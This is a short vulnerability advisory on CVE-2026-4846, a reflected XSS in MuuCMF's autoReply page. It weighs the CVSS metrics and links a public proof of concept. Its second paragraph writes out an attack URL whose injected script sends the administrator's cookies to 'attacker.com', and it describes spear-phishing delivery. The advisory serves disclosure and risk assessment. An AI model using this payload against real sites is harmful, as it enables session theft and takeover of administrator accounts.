Muucmf CVE-2026-4846

While the CVSS 3.1 base score of 4.3 (Low-to-Medium) reflects limited scope and impact (integrity only, no confidentiality or availability damage from XSS alone), the real-world risk is elevated by several factors. The attack vector is Network and Complexity is Low (AV:N/AC:L), meaning any internet-connected user can attempt the exploit. The Exploit Code Maturity is marked as Proof-of-Concept (E:P), and the public disclosure of the POC on GitHub (https://thinhneee.github.io/posts/muucmf-xss-channel/) dramatically increases exploitation likelihood. However, the User Interaction requirement (UI:R) mandates that a victim administrator must click a malicious link, reducing opportunistic attack surface. The lack of vendor response (RL:X) and absence of a patch means no remediation path exists beyond defense-in-depth mitigations. The Reliability Code is Reasonable (RC:R), indicating this is a confirmed, stable vulnerability. This is a moderate-priority issue: not critical due to low CVSS impact and UI requirement, but exploitable enough to warrant immediate network segmentation and input validation hardening given the available POC.

An attacker crafts a malicious URL such as 'https://target.muucmf.local/channel/admin.Account/autoReply.html?keyword=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>' and sends it via spear-phishing email to a known administrator. When the administrator clicks the link and views the autoReply.html page, the unvalidated 'keyword' parameter is reflected into the HTML response, causing the injected JavaScript to execute in the administrator's browser context. The script exfiltrates session cookies to the attacker's server, allowing account takeover and further lateral movement within the application or network. Because this is a low-complexity remote attack requiring only a single click, the public POC evidence and lack of vendor response make exploitation a likely near-term concern.